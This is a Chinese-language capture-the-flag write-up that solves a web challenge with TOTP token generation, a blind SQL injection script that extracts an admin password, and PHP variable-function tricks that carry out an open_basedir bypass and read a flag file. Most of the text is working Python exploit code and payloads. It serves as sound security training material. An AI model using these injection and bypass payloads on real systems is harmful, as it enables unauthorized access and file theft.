知识点:totp,php特性,open_basedir绕过
分析
进入题目看到一个可以执行命令的页面,可以通过help来查看有哪些命令。
有一个文件和两个文件夹。
看一下usage.md文件,里面有几条命令,不管是哪条命令都要先登录。
经过测试可以发现,有回显,但没有报错,那么可以考虑sql盲注,来爆密码。
接着就要写exp,但在这之前还要看一下,它是怎么传到服务器的。
在network中可以看到,是通过shell.php来传的并且带着一个totp参数,这个totp看着像一个随时间变化的令牌,每次都不一样。
在js源码中已经提示我们totp该怎么弄,还告诉我们参数,以及密钥。
sql盲注exp
import requests
import pyotp
from time import sleep
import re
url = "http://80965cc9-78d4-4bec-83f6-ec550345fe26.node4.buuoj.cn:81/shell.php"
totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)
name = ""
i = 0
while True:
sleep(0.5)
head = 32
tail = 127
i += 1
while (head < tail):
mid = head + tail >> 1
payload = "login admin'/**/and/**/(ascii(substr((select/**/concat(password)/**/from/**/users),%d,1))/**/>/**/%d)and/**/'1 admin" % (i, mid)
params = {
"a":payload,
"totp":totp.now()
}
r = requests.post(url,params=params)
if "password" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
name += chr(head)
print(name)
else:
break
登录后
拿到密码登录后,在看看usage.md的那三个命令。
targeting的作用相当于$a=1
,定义变量并且赋值,且参数会有长度限制,和过滤。
launch就是执行上面的命令。
destruct是清空命令。
那么根据php特性,可以构造出phpinfo()
然后进入所在的页面,就可以看到phpinfo的html代码,我们可以赋值到本地来看。
可以看到开了open_basedir
绕过payload(来自: https://xz.aliyun.com/t/4720)
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));
因为它过滤了/
,所以我们要绕过一下,例如:chr(47)
完整exp
import requests
import pyotp
from time import sleep
import re
url = "http://80965cc9-78d4-4bec-83f6-ec550345fe26.node4.buuoj.cn:81/shell.php"
totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)
name = ""
i = 0
while True:
sleep(0.5)
head = 32
tail = 127
i += 1
while (head < tail):
mid = head + tail >> 1
payload = "login admin'/**/and/**/(ascii(substr((select/**/concat(password)/**/from/**/users),%d,1))/**/>/**/%d)and/**/'1 admin" % (i, mid)
params = {
"a":payload,
"totp":totp.now()
}
r = requests.post(url,params=params)
if "password" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
name += chr(head)
print(name)
else:
break
session = requests.session()
def login():
sleep(0.5)
r = session.get(url,params={'a': 'login admin '+ name, 'totp': totp.now()})
def destruct():
sleep(0.5)
r = session.get(url, params={'a': 'destruct', 'totp': totp.now()})
def targeting(code, position):
sleep(0.5)
r = session.get(url, params={'a': 'targeting ' + code + ' ' + position, 'totp': totp.now()})
print("code: " + code + " " + "position: " + position)
def launch():
sleep(0.5)
r = session.get(url, params={'a': 'launch', 'totp': totp.now()})
return r.text
def main():
login()
destruct()
targeting("a", "chdir")
targeting("b", "img")
targeting("c", "{$a($b)}")
targeting("d", "ini_set")
targeting("e", "open_basedir")
targeting("f", "..")
targeting("g", "{$d($e,$f)}")
targeting("h", "{$a($f)}")
targeting("i", "{$a($f)}")
targeting("j", "chr")
targeting("k", "{$j(47)}")
targeting("l", "{$d($e,$k)}")
targeting("m", "flag")
targeting("n", "file_get")
targeting("o", "_contents")
targeting("p", "$n$o")
targeting("q", "{$p($m)}")
print(re.search("flag{.*}", launch()).group(0)[:42])
if __name__ == '__main__':
main()